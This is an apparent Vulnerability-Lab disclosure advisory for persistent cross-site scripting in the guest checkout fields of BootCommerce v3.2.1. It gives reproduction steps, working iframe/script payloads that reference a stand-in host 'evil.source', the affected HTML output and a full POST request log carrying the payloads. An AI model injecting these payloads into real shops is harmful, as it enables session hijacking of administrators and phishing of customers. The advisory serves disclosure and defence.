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## https://sploitus.com/exploit?id=VULNERABLE:2279
Document Title:
===============
BootCommerce v3.2.1 - Multiple Persistent Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2279
Release Date:
=============
2022-06-07
Vulnerability Laboratory ID (VL-ID):
====================================
2279
Common Vulnerability Scoring System:
====================================
5.1
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
E-commerce solution based on twitter bootstrap,perfect for any kind of shops. A complete “Control Panel” to manage Products,
Categories, Orders,Clients and many system options.
(Copy of the Homepage: https://codecanyon.net/item/bootcommerce-ecommerce-twitter-bootstrap-based/5702921 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official BootCommerce v3.2.1 cms web-application.
Affected Product(s):
====================
MrPlugins
Product: BootCommerce v3.2.1 - (PHP) (CMS) (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-08-20: Researcher Notification & Coordination (Security Researcher)
2021-08-21: Vendor Notification (Security Department)
2021-08-00: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2022-06-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been discovered in the official BootCommerce CMS v3.2.1 cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to
web-application requests from the application-side.
The vulnerabilities are located in the input fields of the billing address and shipping address module affecting check_out.php. Remote attackers
can use the guest order option to inject own malicious persistent script code with the order process to provoke an execute of code in the frontend
and backend to compromise. The order process allows unregistered users to order and checkout with artcle items were the contents are wrong sanitized.
After the order process the wrong validated content is delivered to the backend were an execute takes place on preview or interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Order Progress
Vulnerable File(s):
[+] check-out.php
Vulnerable Input(s):
[+] Name
[+] Lastname
[+] Email
[+] Phone
[+] Fax
[+] Address
[+] Zip code
[+] City
Vulnerable Parameter(s):
[+] name
[+] lastname
[+] email
[+] phone
[+] fax
[+] address
[+] zip code
[+] city
Affected Module(s):
[+] order summary)
[+] orders (backend on preview)
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the application
2. Start to tamper the browser session
2. Move to order an products to buy
3. Choose the guest option
4. Inject test payload to the vulnerable input fields
5. Process to continue the steps ...
6. First execute of code takes place in the summary
7. Second execute takes place in the backend for administrators on preview of the order
8. Successful reproduce of the vulnerability!
Exploitation: Payload
<script>document.write(unescape("%22%3Ciframe%20src%3Devil.source%20onload%3Dalert%28document.domain%29%3E%3C/iframe%3E"));</script>
"<iframe src=evil.source onload=alert(document.domain)></iframe>
Vulnerable Source: Order Progress - Order Sumamry
<tr style="border-top:1px solid #E6E6E6;background-color:#fff!important;">
<td class="text-left" colspan="0"><br>
<strong class="text-info">Billing Address</strong>
<span class="billing-address-container"><address><strong>1">"<iframe src=evil.source onload=alert(document.domain)></iframe>
2">"<iframe src=evil.source onload=alert(document.domain)></iframe></strong><br>
4"><iframe>%20>"<iframe src=a></iframe><br>6"><iframe>%20>"<iframe src=a></iframe> -
5"><iframe>%20>"<iframe src=a></iframe><br><abbr title="Phone">T: </abbr> 3"><iframe>%20>"<iframe src=a><br/><abbr title="Fax">F:
</abbr> 354123542<br/><abbr title="E-mail">@: </abbr> XXX@protonmail.com</address></iframe></address></span></td>
<td class="text-left"><br>
<strong class="text-info">Shipping Address</strong>
<span class="shipping-address-container"><address><strong>7">"<iframe src=evil.source onload=alert(document.domain)></iframe>
8">"<iframe src=evil.source onload=alert(document.domain)></iframe></strong><br>9"><iframe>%20>"<iframe src=a></iframe><br>
10"><iframe>%20>"<iframe src=a></iframe> -
2353245<br><abbr title="Phone">T: </abbr> 145235235<br><abbr title="Fax">F: </abbr>
1523152354<br><abbr title="E-mail">@: </abbr> XXX@protonmail.com</address></span>
</td></tr>
--- PoC Session logs (POST) ---
https://bootcommerce.localhost:8000/bootcommerce/save-order.php
Host: bootcommerce.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1047
Origin: https://bootcommerce.localhost:8000
Connection: keep-alive
Referer: https://bootcommerce.localhost:8000/bootcommerce/check-out.php
Cookie: PHPSESSID=6f0vgot31ibuni49ci5ec5sj22; initial_user_session=42512cc6bd4a0bc52c22
account_type=guest&useridreg=&passwordreg=&passwordreg2=&is_company=private&name=1"<iframe src=evil.source onload=alert(document.domain)></iframe>&lastname=
2"<iframe src=evil.source onload=alert(document.domain)></iframe>&tax_code=&email=XXXX@protonmail.com&phone=3"<iframe src=evil.source onload=alert(document.domain)></iframe>&
fax=354123542&address=4"<iframe src=evil.source onload=alert(document.domain)></iframe>&zipcode=5"<iframe src=evil.source onload=alert(document.domain)></iframe>&city=6
"<iframe src=evil.source onload=alert(document.domain)></iframe>&names=7"<iframe src=evil.source onload=alert(document.domain)></iframe>&lastnames=8
"><iframe>%20>"<iframe src=a></iframe>&emails=XXXX@protonmail.com&phones=145235235&faxs=1523152354&addresss=9"><iframe>%20
"<iframe src=evil.source onload=alert(document.domain)></iframe>&
zipcodes=2353245&citys=10"<iframe src=evil.source onload=alert(document.domain)></iframe>&payment_method=BT&payment_price=0
-
POST: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
content-length: 45
vary: Accept-Encoding,User-Agent
content-encoding: gzip
Reference(s):
https://localhost:8080/bootcommerce/
https://localhost:8080/bootcommerce/check-out.php
Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities in the ecommerce application are estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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